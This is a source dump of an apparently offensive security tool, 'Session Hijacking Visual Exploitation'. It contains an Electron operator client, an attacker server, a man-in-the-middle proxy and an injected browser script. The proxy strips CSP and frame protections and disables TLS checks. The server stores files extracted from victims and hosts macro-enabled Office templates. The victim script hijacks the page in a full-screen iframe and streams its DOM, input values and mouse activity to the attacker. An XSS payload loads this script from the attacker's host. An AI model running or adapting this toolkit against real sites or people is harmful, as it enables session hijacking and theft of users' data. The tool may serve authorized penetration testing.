details.requestHeaders['shve-authentication'] = token; 107 | callback({ cancel: false, requestHeaders: details.requestHeaders }); 108 | }); 109 | 110 | visualWin.webContents.session.setProxy(proxyConfig).then(() => { 111 | visualWin.loadFile('visual.html').then(() => { 112 | visualWin.maximize(); 113 | visualWin.webContents.executeJavaScript(`document.title = "Session: ${sessionID}";`); 114 | }); 115 | }); 116 | }); -------------------------------------------------------------------------------- /client/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "session-hijacking-visual-exploitation-client", 3 | "version": "1.1.0", 4 | "description": "", 5 | "main": "main.js", 6 | "scripts": { 7 | "start": "electron .", 8 | "pack": "electron-builder --dir", 9 | "dist": "electron-builder", 10 | "build-all": "electron-builder -mwl", 11 | "test": "echo \"Error: no test specified\" && exit 1" 12 | }, 13 | "build": { 14 | "appId": "com.doyensec.shveclient", 15 | "directories": { 16 | "buildResources": "assets/icons/" 17 | }, 18 | "mac": { 19 | "icon": "SHVE_logo.png" 20 | }, 21 | "win": { 22 | "icon": "SHVE_logo.png" 23 | }, 24 | "linux": { 25 | "icon": "SHVE_logo.png" 26 | } 27 | }, 28 | "author": "Doyensec", 29 | "license": "ISC", 30 | "devDependencies": { 31 | "electron": "^25.8.4", 32 | "electron-builder": "^24.13.3" 33 | }, 34 | "dependencies": { 35 | "ua-parser-js": "^1.0.0" 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /client/payloads.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Payloads 6 | 7 | 8 | 9 | 10 | 13 |
14 | Doyensec 15 |

Session Hijacking Visual Exploitation

16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 |
PayloadContentAction
29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /client/payloadsRenderer.js: -------------------------------------------------------------------------------- 1 | const { ipcRenderer } = require('electron'); 2 | const clipboard = require('electron').clipboard; 3 | const protocol = localStorage.getItem('protocol'); 4 | const ip = localStorage.getItem('ip'); 5 | const token = localStorage.getItem('token'); 6 | const serverPort = localStorage.getItem('serverPort'); 7 | 8 | const payloadsTable = document.getElementById('payloads-table'); 9 | const tbody = payloadsTable.getElementsByTagName('tbody')[0]; 10 | 11 | document.getElementById('back-button').addEventListener('click', () => { 12 | window.location.href = 'index.html'; 13 | }); 14 | 15 | document.getElementById('logout-button').addEventListener('click', () => { 16 | localStorage.removeItem('token'); 17 | localStorage.removeItem('ip'); 18 | localStorage.removeItem('protocol'); 19 | localStorage.removeItem('serverPort'); 20 | window.location.href = 'login.html'; 21 | }); 22 | 23 | async function getVictimPort() { 24 | const response = await fetch(`${protocol}://${ip}:${serverPort}/victimPort`, { 25 | headers: { 'shve-authentication': token } 26 | }); 27 | 28 | const data = await response.json(); 29 | return data.victimPort; 30 | } 31 | 32 | function encodeHTML(str) { 33 | return str.replace(/[\u0022\u0026\u003C\u003E\u00A0-\u9999]/g, function(i) { 34 | return '&#'+i.charCodeAt(0)+';'; 35 | }); 36 | } 37 | 38 | 39 | 40 | async function copyToClipboard(payload) { 41 | const victimPort = await getVictimPort(); 42 | let text = payload.content; 43 | if (payload.name === 'Full Script') { 44 | const response = await fetch(`${protocol}://${ip}:${victimPort}/client?ip=${ip}`); 45 | text = await response.text(); 46 | } 47 | clipboard.writeText(text); 48 | } 49 | 50 | async function initPayloads() { 51 | const victimPort = await getVictimPort(); 52 | 53 | const payloads = [ 54 | { name: 'XSS', content: `` }, 55 | { name: 'CORS Misconfiguration', content: `${protocol}://${ip}:${victimPort}/connect` }, 56 | { name: 'Full Script', content: '' }, 57 | ]; 58 | 59 | for (const payload of payloads) { 60 | const newRow = tbody.insertRow(); 61 | newRow.innerHTML = ` 62 | ${payload.name} 63 | ${payload.name === 'Full Script' ? '' : encodeHTML(payload.content)} 64 | 65 | 66 | 67 | `; 68 | } 69 | } 70 | 71 | initPayloads(); 72 | -------------------------------------------------------------------------------- /client/renderer.js: -------------------------------------------------------------------------------- 1 | const { ipcRenderer } = require('electron'); 2 | const UAParser = require('ua-parser-js'); 3 | const ip = localStorage.getItem('ip'); 4 | const protocol = localStorage.getItem('protocol'); 5 | const token = localStorage.getItem('token'); 6 | const serverPort = localStorage.getItem('serverPort'); 7 | const proxyPort = localStorage.getItem('proxyPort'); 8 | 9 | const sessionsTable = document.getElementById('sessions-table'); 10 | const tbody = sessionsTable.getElementsByTagName('tbody')[0]; 11 | let isUpdating = false; 12 | 13 | document.getElementById('logout-button').addEventListener('click', () => { 14 | localStorage.removeItem('token'); 15 | localStorage.removeItem('ip'); 16 | localStorage.removeItem('protocol'); 17 | localStorage.removeItem('serverPort'); 18 | localStorage.removeItem('proxyPort'); 19 | window.location.href = 'login.html'; 20 | }); 21 | 22 | 23 | document.getElementById('view-payloads').addEventListener('click', () => { 24 | window.location.href = 'payloads.html'; 25 | }); 26 | 27 | document.getElementById('list-files').addEventListener('click', () => { 28 | window.location.href = 'file-list.html'; 29 | }); 30 | 31 | document.getElementById('configuration-button').addEventListener('click', () => { 32 | window.location.href = 'configuration.html'; 33 | }); 34 | 35 | document.getElementById('certificateDownload').addEventListener('click', () => { 36 | const url = protocol + '://' + ip + ':' + serverPort + '/certificate/download'; 37 | fetch(url, { 38 | headers: { 'shve-authentication': token }, 39 | }) 40 | .then((response) => response.blob()) 41 | .then((blob) => { 42 | const objectUrl = URL.createObjectURL(blob); 43 | const link = document.createElement('a'); 44 | link.href = objectUrl; 45 | link.download = 'cert.pem'; 46 | document.body.appendChild(link); 47 | link.click(); 48 | document.body.removeChild(link); 49 | }) 50 | .catch((error) => { 51 | console.error('Hubo un error al realizar la solicitud', error); 52 | }); 53 | }); 54 | 55 | function openInteractiveWindow(sessionID) { 56 | ipcRenderer.send('open-interactive-window', sessionID, ip, proxyPort, serverPort, token); 57 | } 58 | 59 | function openVisualWindow(sessionID) { 60 | ipcRenderer.send('open-visual-window', sessionID, ip, proxyPort, serverPort, token); 61 | } 62 | 63 | async function updateSessionsTable() { 64 | if (isUpdating) { 65 | return; 66 | } 67 | 68 | isUpdating = true; 69 | document.getElementById('refresh-sessions').disabled = true; 70 | 71 | try { 72 | const response = await fetch(`${protocol}://${ip}:${serverPort}/sessions/list`, { 73 | headers: { 'shve-authentication': token } 74 | }); 75 | 76 | const clients = await response.json(); 77 | tbody.innerHTML = ''; 78 | 79 | if (clients) { 80 | for (const client of clients) { 81 | const ipResponse = await fetch(`https://ipapi.co/${client.ip}/json/`); 82 | const ipData = await ipResponse.json(); 83 | 84 | let countryCode = ipData.country ? ipData.country.toLowerCase() : "un"; 85 | let countryName = ipData.country_name ? ipData.country_name : "Unknown Country"; 86 | 87 | const parser = new UAParser(client.userAgent); 88 | const browserInfo = parser.getBrowser(); 89 | const osInfo = parser.getOS(); 90 | 91 | const newRow = tbody.insertRow(); 92 | newRow.innerHTML = ` 93 | ${client.id} 94 | 95 |
96 | 97 |
${osInfo.name}: ${osInfo.version}
98 |
99 |
100 | 101 |
${browserInfo.name}: ${browserInfo.version}
102 |
103 | 104 | 105 | 106 | ${countryName} 107 | 108 | ${client.ip} 109 | 110 | 111 | 112 | 113 | `; 114 | } 115 | } 116 | } catch (error) { 117 | console.error("Error fetching sessions data:", error); 118 | } finally { 119 | isUpdating = false; 120 | document.getElementById('refresh-sessions').disabled = false; 121 | } 122 | } 123 | 124 | document.getElementById('refresh-sessions').addEventListener('click', updateSessionsTable); 125 | updateSessionsTable(); -------------------------------------------------------------------------------- /client/visual.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Session: 6 | 35 | 36 | 37 |
38 | 39 |
40 | 41 |
42 | 107 | 108 | -------------------------------------------------------------------------------- /screenshot_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Session-Hijacking-Visual-Exploitation/653f2699478d4f34117b433ca9295035501a097e/screenshot_0.png -------------------------------------------------------------------------------- /screenshot_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Session-Hijacking-Visual-Exploitation/653f2699478d4f34117b433ca9295035501a097e/screenshot_1.png -------------------------------------------------------------------------------- /server/.nvmrc: -------------------------------------------------------------------------------- 1 | 19.0.0 2 | -------------------------------------------------------------------------------- /server/app.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const { execSync } = require('child_process'); 3 | 4 | const atackerServer = require('./attackerServer'); 5 | const victimServer = require('./victimServer'); 6 | const startProxyServer = require('./proxyServer'); 7 | 8 | fs.readFile('files/users.json', (err, data) => { 9 | if (err && err.code === 'ENOENT') { 10 | console.error('No users registered. Running createUser script...'); 11 | execSync('npm run createUser', { stdio: 'inherit' }); 12 | } else if (err) { 13 | throw err; 14 | } else { 15 | const users = JSON.parse(data); 16 | if (users.length === 0) { 17 | console.error('No users registered. Running createUser script...'); 18 | execSync('npm run createUser', { stdio: 'inherit' }); 19 | } 20 | } 21 | atackerServer.startServer(); 22 | victimServer.startServer(); 23 | startProxyServer(); 24 | }); 25 | 26 | -------------------------------------------------------------------------------- /server/attackerServer.js: -------------------------------------------------------------------------------- 1 | const http = require('http'); 2 | const https = require('https'); 3 | const express = require('express'); 4 | const WebSocket = require('ws'); 5 | const cheerio = require('cheerio'); 6 | const url = require('url'); 7 | const bcrypt = require('bcrypt'); 8 | const jwt = require('jsonwebtoken'); 9 | const fs = require('fs'); 10 | const { execSync } = require('child_process'); 11 | const { startServer: startVictimServer, getConnectedClients, startListening, stopListening } = require('./victimServer'); 12 | const multer = require('multer'); 13 | 14 | const upload = multer({ dest: 'public/templates/' }); 15 | const app = express(); 16 | const path = require('path'); 17 | 18 | const port = getPort('attackerServerPort'); 19 | 20 | let secret; 21 | let wss 22 | 23 | const sslEnabled = getConfigValue('sslEnabled'); 24 | 25 | app.use(express.urlencoded({ extended: true })) 26 | 27 | function getPort(configKey) { 28 | const config = readConfig(); 29 | return config[configKey]; 30 | } 31 | 32 | function getConfigValue(configKey) { 33 | const config = readConfig(); 34 | return config[configKey]; 35 | } 36 | 37 | function readConfig() { 38 | let config; 39 | try { 40 | config = JSON.parse(fs.readFileSync('files/config.json')); 41 | } catch (err) { 42 | if (err.code === 'ENOENT') { 43 | console.log('No configuration found. Running "npm run setConfig" ...'); 44 | execSync('npm run setConfig', { stdio: 'inherit' }); 45 | config = JSON.parse(fs.readFileSync('files/config.json')); 46 | } else { 47 | throw err; 48 | } 49 | } 50 | 51 | return config; 52 | } 53 | 54 | try { 55 | secret = JSON.parse(fs.readFileSync('files/secret.json')).secret; 56 | } catch (err) { 57 | if (err.code === 'ENOENT') { 58 | console.log('No secret found. Running "npm run regenerateToken" ...'); 59 | execSync('npm run regenerateToken', { stdio: 'inherit' }); 60 | secret = JSON.parse(fs.readFileSync('files/secret.json')).secret; 61 | } else { 62 | throw err; 63 | } 64 | } 65 | 66 | const connectedClients = {}; 67 | 68 | function verifyToken(req, res, next) { 69 | const token = req.headers['shve-authentication']; 70 | 71 | if (!token) { 72 | res.status(401).json({ error: 'No token provided' }); 73 | return; 74 | } 75 | 76 | jwt.verify(token, secret, (err, decoded) => { 77 | if (err) { 78 | res.status(401).json({ error: 'Failed to authenticate token' }); 79 | return; 80 | } 81 | 82 | req.username = decoded.username; 83 | next(); 84 | }); 85 | } 86 | 87 | function cleanHTML(html, baseURL) { 88 | if (!baseURL) { 89 | return html; 90 | } 91 | const $ = cheerio.load(html); 92 | $('img[src], script[src], link[href]').each((i, el) => { 93 | const $el = $(el); 94 | const src = $el.attr('src') || $el.attr('href'); 95 | if (src && !src.match(/^(http|https|\/\/)/)) { 96 | const resolved = url.resolve(baseURL, src); 97 | $el.attr('src', resolved); 98 | $el.attr('href', resolved); 99 | } 100 | }); 101 | return $.html(); 102 | } 103 | 104 | function handleConnection(ws, req) { 105 | const shveHeader = req.headers['shve']; 106 | console.log(`New connection with SHVE header: ${shveHeader}`); 107 | 108 | if (shveHeader) { 109 | if (!connectedClients[shveHeader]) { 110 | startListening(shveHeader); 111 | } 112 | connectedClients[shveHeader] = ws; 113 | } 114 | 115 | const token = req.url.split('token=')[1]; 116 | 117 | if (!token) { 118 | ws.send(JSON.stringify({ error: 'No token provided' })); 119 | ws.close(); 120 | return; 121 | } 122 | 123 | jwt.verify(token, secret, (err, decoded) => { 124 | if (err) { 125 | ws.send(JSON.stringify({ error: 'Failed to authenticate token' })); 126 | ws.close(); 127 | return; 128 | } 129 | 130 | ws.username = decoded.username; 131 | }); 132 | } 133 | 134 | function handleDisconnection(ws, req) { 135 | const shveHeader = req.headers['shve']; 136 | console.log(`Connection with SHVE header ${shveHeader} closed`); 137 | 138 | if (shveHeader && connectedClients[shveHeader] === ws) { 139 | connectedClients[shveHeader] = null; 140 | if (!Object.values(connectedClients).some(client => client !== null && client !== ws)) { 141 | stopListening(shveHeader); 142 | } 143 | } 144 | } 145 | 146 | function writeDom(shve, data, baseURL) { 147 | const ws = connectedClients[shve]; 148 | if (ws) { 149 | const dom = cleanHTML(data.dom, baseURL); 150 | const inputs = data.inputs; 151 | const scrollY = data.scrollY; 152 | const message = JSON.stringify({ 153 | writeDom: { 154 | data: { 155 | dom: dom, 156 | inputs, 157 | scrollY, 158 | } 159 | } 160 | }); 161 | ws.send(message); 162 | } else { 163 | console.log(`No proxy with shve ${shve} found`); 164 | } 165 | } 166 | 167 | function setMouse(shve, x, y) { 168 | const ws = connectedClients[shve]; 169 | if (ws) { 170 | const message = JSON.stringify({ setMouse: { x, y } }); 171 | ws.send(message); 172 | } else { 173 | console.log(`No proxy with shve ${shve} found`); 174 | } 175 | } 176 | 177 | function setScroll(shve, y) { 178 | const ws = connectedClients[shve]; 179 | if (ws) { 180 | const message = JSON.stringify({ setScroll: { y } }); 181 | ws.send(message); 182 | } else { 183 | console.log(`No proxy with shve ${shve} found`); 184 | } 185 | } 186 | 187 | function setInput(shve, value, path) { 188 | const ws = connectedClients[shve]; 189 | if (ws) { 190 | const message = JSON.stringify({ setInput: { value, path } }); 191 | ws.send(message); 192 | } else { 193 | console.log(`No proxy with shve ${shve} found`); 194 | } 195 | } 196 | 197 | app.post('/authenticate', (req, res) => { 198 | const { username, password } = req.body; 199 | 200 | fs.readFile('files/users.json', (err, data) => { 201 | if (err) { 202 | res.status(500).json({ error: 'Internal Server Error' }); 203 | return; 204 | } 205 | 206 | const users = JSON.parse(data); 207 | const user = users.find(user => user.username === username); 208 | 209 | if (!user) { 210 | res.status(400).json({ error: 'Invalid username or password' }); 211 | return; 212 | } 213 | 214 | bcrypt.compare(password, user.password, (err, match) => { 215 | if (err) { 216 | res.status(500).json({ error: 'Internal Server Error' }); 217 | return; 218 | } 219 | 220 | if (!match) { 221 | res.status(400).json({ error: 'Invalid username or password' }); 222 | return; 223 | } 224 | 225 | const token = jwt.sign({ username }, secret, { expiresIn: '1y' }); 226 | res.json({ token }); 227 | }); 228 | }); 229 | }); 230 | 231 | app.get('/sessions/list', verifyToken, (req, res) => { 232 | const clients = getConnectedClients(); 233 | res.json(clients); 234 | }); 235 | 236 | app.get('/victimPort', verifyToken, (req, res) => { 237 | const victimPort = {"victimPort" : getPort('victimServerPort')}; 238 | res.json(victimPort); 239 | }); 240 | 241 | app.get('/certificate/download', verifyToken, (req, res) => { 242 | const certPath = path.join(__dirname, 'certs/certs', 'ca.pem'); 243 | 244 | res.download(certPath, 'cert.pem', (err) => { 245 | if (err) { 246 | console.error(err); 247 | res.status(500).send('Error al descargar el certificado'); 248 | } 249 | }); 250 | }); 251 | 252 | app.get('/files/list', verifyToken, (req, res) => { 253 | const directoryPath = path.join(__dirname, 'public/extractedFiles'); 254 | 255 | fs.readdir(directoryPath, function (err, files) { 256 | if (err) { 257 | return res.status(500).send('Unable to scan directory: ' + err); 258 | } 259 | 260 | const filteredFiles = files.filter(file => file !== '.gitkeep'); 261 | 262 | res.json(filteredFiles); 263 | }); 264 | }); 265 | 266 | app.get('/files/download/:uuid', verifyToken, (req, res) => { 267 | const uuid = req.params.uuid; 268 | const directoryPath = 'public/extractedFiles/'; 269 | const filesInDirectory = fs.readdirSync(directoryPath); 270 | 271 | if (uuid.length !== 36) { 272 | return res.status(400).send('Invalid UUID length'); 273 | } 274 | 275 | const matchingFile = filesInDirectory.find((file) => file.startsWith(uuid)); 276 | 277 | if (matchingFile) { 278 | const filePath = path.join(directoryPath, matchingFile); 279 | res.download(filePath); 280 | } else { 281 | res.status(404).send('File not found'); 282 | } 283 | }); 284 | 285 | app.delete('/files/delete/:uuid', verifyToken, (req, res) => { 286 | const uuid = req.params.uuid; 287 | if (uuid.length !== 36) { 288 | return res.status(400).send('Invalid UUID length'); 289 | } 290 | 291 | const directoryPaths = [ 292 | 'public/extractedFiles/', 293 | 'public/files/' 294 | ]; 295 | 296 | directoryPaths.forEach(directoryPath => { 297 | const filesInDirectory = fs.readdirSync(directoryPath); 298 | 299 | const matchingFile = filesInDirectory.find((file) => file.startsWith(uuid)); 300 | 301 | if (matchingFile) { 302 | const filePath = path.join(directoryPath, matchingFile); 303 | fs.unlinkSync(filePath); 304 | } 305 | }); 306 | 307 | res.status(200).send('File deleted successfully'); 308 | }); 309 | 310 | app.get('/templates/download/:templateName', verifyToken, (req, res) => { 311 | const { templateName } = req.params; 312 | const templates = ['template.docm', 'template.pptm', 'template.xlsm', 'template.html']; 313 | 314 | if (!templates.includes(templateName)) { 315 | return res.status(400).send('Invalid template name'); 316 | } 317 | 318 | const filePath = path.join(__dirname, 'public/templates', templateName); 319 | res.download(filePath); 320 | }); 321 | 322 | app.post('/templates/upload', verifyToken, upload.single('template'), (req, res) => { 323 | const { originalname } = req.file; 324 | const extension = originalname.split('.').pop(); 325 | 326 | let newTemplateName; 327 | 328 | switch(extension) { 329 | case 'docm': 330 | newTemplateName = 'template.docm'; 331 | break; 332 | case 'pptm': 333 | newTemplateName = 'template.pptm'; 334 | break; 335 | case 'xlsm': 336 | newTemplateName = 'template.xlsm'; 337 | break; 338 | case 'html': 339 | newTemplateName = 'template.html'; 340 | break; 341 | default: 342 | return res.status(400).send('Invalid file extension'); 343 | } 344 | 345 | const newPath = path.join(__dirname, 'public/templates', newTemplateName); 346 | fs.renameSync(req.file.path, newPath); 347 | res.status(200).send('Template uploaded successfully'); 348 | }); 349 | 350 | module.exports = { 351 | startServer: () => { 352 | if (sslEnabled) { 353 | const privateKey = fs.readFileSync('files/privateKey.pem', 'utf8'); 354 | const certificate = fs.readFileSync('files/certificate.pem', 'utf8'); 355 | const credentials = { key: privateKey, cert: certificate }; 356 | const httpsServer = https.createServer(credentials, app); 357 | wss = new WebSocket.Server({ server: httpsServer }); 358 | httpsServer.listen(port, () => { 359 | console.log(`Attacker server running on 0.0.0.0:${port} with SSL enabled`); 360 | }); 361 | } else { 362 | const server = http.createServer(app); 363 | wss = new WebSocket.Server({ server }); 364 | server.listen(port, () => { 365 | console.log(`Attacker server running on 0.0.0.0:${port}`); 366 | }); 367 | } 368 | wss.on('connection', (ws, req) => { 369 | handleConnection(ws, req); 370 | 371 | ws.on('close', () => { 372 | handleDisconnection(ws, req); 373 | }); 374 | }); 375 | }, 376 | writeDom, 377 | setMouse, 378 | verifyToken, 379 | setScroll, 380 | setInput 381 | }; -------------------------------------------------------------------------------- /server/files/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Session-Hijacking-Visual-Exploitation/653f2699478d4f34117b433ca9295035501a097e/server/files/.gitkeep -------------------------------------------------------------------------------- /server/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "session-hijacking-visual-exploitation-client", 3 | "version": "1.1.1", 4 | "description": "", 5 | "main": "app.js", 6 | "scripts": { 7 | "start": "node app.js", 8 | "createUser": "node register.js", 9 | "regenerateToken": "node regenerateToken.js", 10 | "setConfig": "node setConfig.js", 11 | "test": "echo \"Error: no test specified\" && exit 1" 12 | }, 13 | "keywords": [], 14 | "author": "", 15 | "license": "ISC", 16 | "dependencies": { 17 | "adm-zip": "^0.5.10", 18 | "axios": "^1.3.5", 19 | "bcrypt": "^5.1.0", 20 | "cheerio": "^1.0.0-rc.12", 21 | "cors": "^2.8.5", 22 | "deepdash": "^5.3.9", 23 | "express": "^4.18.2", 24 | "http-mitm-proxy": "^1.0.0", 25 | "jsonwebtoken": "^9.0.1", 26 | "multer": "^1.4.5-lts.1", 27 | "node": "^19.0.0", 28 | "readline-sync": "^1.4.10", 29 | "ssrf-req-filter": "^1.1.0", 30 | "uuid": "^9.0.0", 31 | "ws": "^8.13.0", 32 | "xml2js": "^0.6.2" 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /server/proxyServer.js: -------------------------------------------------------------------------------- 1 | const HttpMitmProxy = require('http-mitm-proxy'); 2 | const { startServer: startVictimServer, sendWebSocketRequest } = require('./victimServer'); 3 | const fs = require('fs'); 4 | const path = require('path'); 5 | const jwt = require('jsonwebtoken'); 6 | const { execSync } = require('child_process'); 7 | 8 | process.removeAllListeners('warning'); 9 | process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; 10 | 11 | blockedHeaders = [ 12 | 'x-content-type-option', 13 | 'content-security-policy', 14 | 'x-frame-options', 15 | 'x-xss-protection', 16 | 'content-encoding', 17 | ] 18 | 19 | function getPort(configKey, defaultValue) { 20 | const config = readConfig(); 21 | return config[configKey] || defaultValue; 22 | } 23 | 24 | function readConfig() { 25 | let config; 26 | try { 27 | config = JSON.parse(fs.readFileSync('files/config.json')); 28 | } catch (err) { 29 | if (err.code === 'ENOENT') { 30 | console.log('No configuration found. Running "npm run setConfig" ...'); 31 | execSync('npm run setConfig', { stdio: 'inherit' }); 32 | config = JSON.parse(fs.readFileSync('files/config.json')); 33 | } else { 34 | throw err; 35 | } 36 | } 37 | 38 | return config; 39 | } 40 | 41 | const port = getPort('proxyServerPort'); 42 | 43 | let secret; 44 | try { 45 | secret = JSON.parse(fs.readFileSync('files/secret.json')).secret; 46 | } catch (err) { 47 | if (err.code === 'ENOENT') { 48 | console.log('No secret found. Please run "npm run regenerateSecret".'); 49 | process.exit(1); 50 | } else { 51 | throw err; 52 | } 53 | } 54 | 55 | function deleteCertificateFile(certsDir, domain) { 56 | try { 57 | const certPath = path.join(certsDir, 'certs', `${domain}.pem`); 58 | fs.unlinkSync(certPath); 59 | } catch (err) { 60 | console.error(`Error removing certificate for ${domain}:`, err); 61 | } 62 | } 63 | 64 | function cleanHTML(html) { 65 | return html.replace(/\n/g, '').replace(/\r/g, '').replace(/\t/g, '').replace(/\s{2,}/g, ' '); 66 | } 67 | 68 | function filterHeaders(headers) { 69 | const filteredHeaders = {}; 70 | for (const key in headers) { 71 | if (!blockedHeaders.includes(key.toLowerCase())) { 72 | filteredHeaders[key] = headers[key]; 73 | } 74 | } 75 | return filteredHeaders; 76 | } 77 | 78 | function startProxyServer() { 79 | const proxy = new HttpMitmProxy.Proxy(); 80 | 81 | proxy.onRequest(async (ctx, callback) => { 82 | 83 | const token = ctx.clientToProxyRequest.headers['shve-authentication']; 84 | 85 | if (token === undefined) { 86 | console.error('Failed to authenticate token:' + token); 87 | ctx.proxyToClientResponse.writeHead(200, { 'Content-Type': 'text/plain' }); 88 | ctx.proxyToClientResponse.end('Failed to authenticate'); 89 | return; 90 | } 91 | 92 | jwt.verify(token, secret, (err, decoded) => { 93 | if (err) { 94 | console.error('Failed to authenticate token:', err); 95 | ctx.proxyToClientResponse.writeHead(200, { 'Content-Type': 'text/plain' }); 96 | ctx.proxyToClientResponse.end('Failed to authenticate'); 97 | return; 98 | } 99 | }); 100 | 101 | ctx.dataChunks = []; 102 | const method = ctx.clientToProxyRequest.method; 103 | 104 | const protocol = ctx.isSSL ? 'https://' : 'http://'; 105 | const host = ctx.clientToProxyRequest.headers.host; 106 | const url = ctx.clientToProxyRequest.url; 107 | 108 | const fullUrl = `${protocol}${host}${url}`; 109 | 110 | console.log(`[${new Date().toISOString()}] ${ctx.clientToProxyRequest.method} ${fullUrl}`); 111 | 112 | const wsId = ctx.clientToProxyRequest.headers.shve; 113 | const headers = ctx.clientToProxyRequest.headers; 114 | 115 | function getPort(configKey) { 116 | const config = readConfig(); 117 | return config[configKey]; 118 | } 119 | 120 | function readConfig() { 121 | let config; 122 | try { 123 | config = JSON.parse(fs.readFileSync('files/config.json')); 124 | } catch (err) { 125 | if (err.code === 'ENOENT') { 126 | console.log('No configuration found. Running "npm run setConfig" ...'); 127 | execSync('npm run setConfig', { stdio: 'inherit' }); 128 | config = JSON.parse(fs.readFileSync('files/config.json')); 129 | } else { 130 | throw err; 131 | } 132 | } 133 | 134 | return config; 135 | } 136 | 137 | ctx.onRequestData((ctx, chunk, callback) => { 138 | try{ 139 | ctx.dataChunks.push(chunk); 140 | return callback(null, chunk); 141 | }catch (error) { 142 | if (error.code !== 'ERR_STREAM_WRITE_AFTER_END') { 143 | throw error; 144 | } 145 | } 146 | }); 147 | 148 | ctx.onResponse(async (ctx, callback) => { 149 | try{ 150 | const contentType = ctx.serverToProxyResponse.headers['content-type']; 151 | const statusCode = ctx.serverToProxyResponse.statusCode; 152 | if (contentType && (contentType.startsWith('text/html') || contentType.startsWith('application/json') || contentType.startsWith('application/xml'))) { 153 | const postData = ctx.dataChunks.length > 0 ? Buffer.concat(ctx.dataChunks).toString() : null; 154 | const response = await sendWebSocketRequest(wsId, ctx.clientToProxyRequest.method, fullUrl, headers, postData); 155 | if (response.error){ 156 | ctx.proxyToClientResponse.writeHead(200, { 'Content-Type': 'text/plain' }); 157 | ctx.proxyToClientResponse.end(response.error); 158 | } 159 | else{ 160 | const filteredHeaders = filterHeaders(response.headers); 161 | let filteredHtml; 162 | filteredHtml = cleanHTML(response.data); 163 | ctx.proxyToClientResponse.writeHead(response.status_code, filteredHeaders); 164 | ctx.proxyToClientResponse.end(filteredHtml); 165 | } 166 | } 167 | else{ 168 | ctx.proxyToClientResponse.writeHead(statusCode ,filterHeaders(ctx.serverToProxyResponse.headers)); 169 | } 170 | return callback(); 171 | } catch (error) { 172 | if (error.code !== 'ERR_STREAM_WRITE_AFTER_END') { 173 | throw error; 174 | } 175 | } 176 | 177 | }); 178 | 179 | ctx.onError((ctx, error) => { 180 | if (error.message.includes('key values mismatch')) { 181 | console.log('Certificate Error, Regenerating certificates...'); 182 | const domain = ctx.clientToProxyRequest.headers.host; 183 | if (domain) { 184 | deleteCertificateFile('./certs', domain); 185 | } 186 | } 187 | }); 188 | 189 | callback(); 190 | }); 191 | 192 | proxy.listen({ host: '0.0.0.0', port: getPort('proxyServerPort'), sslCaDir: './certs' }, () => { 193 | console.log('Proxy listening on port: ' + getPort('proxyServerPort')); 194 | }); 195 | } 196 | 197 | module.exports = startProxyServer; -------------------------------------------------------------------------------- /server/public/client.js: -------------------------------------------------------------------------------- 1 | let listening = "off"; 2 | let lastSent = 0; 3 | let storedDOM; 4 | let checkedURLs = []; 5 | const MAX_MESSAGES_PER_SECOND = 30; 6 | const taskQueue = []; 7 | let isProcessing = false; 8 | 9 | const validExtensions = [ 10 | "docx", "xlsx", "pptx", "docm", "xlsm", "pptm", 11 | "dotx", "xlsb", "potx", "dotm", "xltm", "potm" 12 | ]; 13 | 14 | const linkSelectors = [ 15 | 'a[href]', 'button[data-href]', 'div[data-href]', 'span[data-href]', 16 | 'li[data-href]', 'input[type="button"][data-href]', 'input[type="submit"][data-href]', 17 | 'area[href]', 'source[src]' 18 | ]; 19 | 20 | async function processQueue() { 21 | if (isProcessing || !taskQueue.length) return; 22 | isProcessing = true; 23 | 24 | const task = taskQueue.shift(); 25 | await task(); 26 | 27 | isProcessing = false; 28 | setTimeout(processQueue, 1); 29 | } 30 | 31 | function addToQueue(task) { 32 | taskQueue.push(task); 33 | processQueue(); 34 | } 35 | 36 | 37 | function getPathTo(element) { 38 | if (element.id!=='') 39 | return 'id("'+element.id+'")'; 40 | if (element===document.body) 41 | return element.tagName; 42 | 43 | let ix= 0; 44 | const siblings= element.parentNode.childNodes; 45 | for (let i= 0; i= 1000 / MAX_MESSAGES_PER_SECOND) { 58 | lastSent = now; 59 | ws.send(JSON.stringify({ 60 | setScroll: { 61 | scrollY 62 | } 63 | })) 64 | } 65 | } 66 | 67 | function sendDOM(iframe, ws) { 68 | const url = iframe.src; 69 | const inputs = Array.from(iframe.contentWindow.document.querySelectorAll('input, textarea')).map((input) => { 70 | return {path: getPathTo(input), value: input.value}; 71 | }); 72 | const scrollY = iframe.contentWindow.scrollY; 73 | const data = { 74 | dom: iframe.contentDocument.documentElement.outerHTML, 75 | inputs, 76 | scrollY 77 | }; 78 | const message = JSON.stringify({writeDom: {data, baseURL: url}}); 79 | ws.send(message); 80 | } 81 | 82 | function setListening(value, iframe) { 83 | listening = value; 84 | if(value === 'on'){ 85 | sendDOM(iframe, ws); 86 | } 87 | } 88 | 89 | function getPersistence() { 90 | return new Promise((resolve) => { 91 | document.documentElement.innerHTML = ''; 92 | const iframe = document.createElement('iframe'); 93 | iframe.src = window.location.href; 94 | iframe.style.cssText = 'position:absolute;top:0;left:0;width:100%;height:100%;border:none;margin:0;padding:0;overflow:hidden;z-index:99999'; 95 | document.documentElement.appendChild(iframe); 96 | 97 | iframe.addEventListener('load', () => { 98 | attachHooks(iframe); 99 | resolve(iframe); 100 | }); 101 | 102 | }); 103 | } 104 | 105 | 106 | function attachHooks(iframe){ 107 | 108 | if(listening === 'on'){ 109 | sendDOM(iframe, ws); 110 | } 111 | 112 | iframe.contentDocument.addEventListener('mousemove', (event) => { 113 | if (listening === "on") { 114 | const mouseX = event.clientX; 115 | const mouseY = event.clientY; 116 | const now = Date.now(); 117 | if (now - lastSent >= 1000 / MAX_MESSAGES_PER_SECOND) { 118 | lastSent = now; 119 | ws.send(JSON.stringify({ 120 | setMouse: { 121 | mouseX, mouseY 122 | } 123 | })) 124 | } 125 | } 126 | }); 127 | 128 | 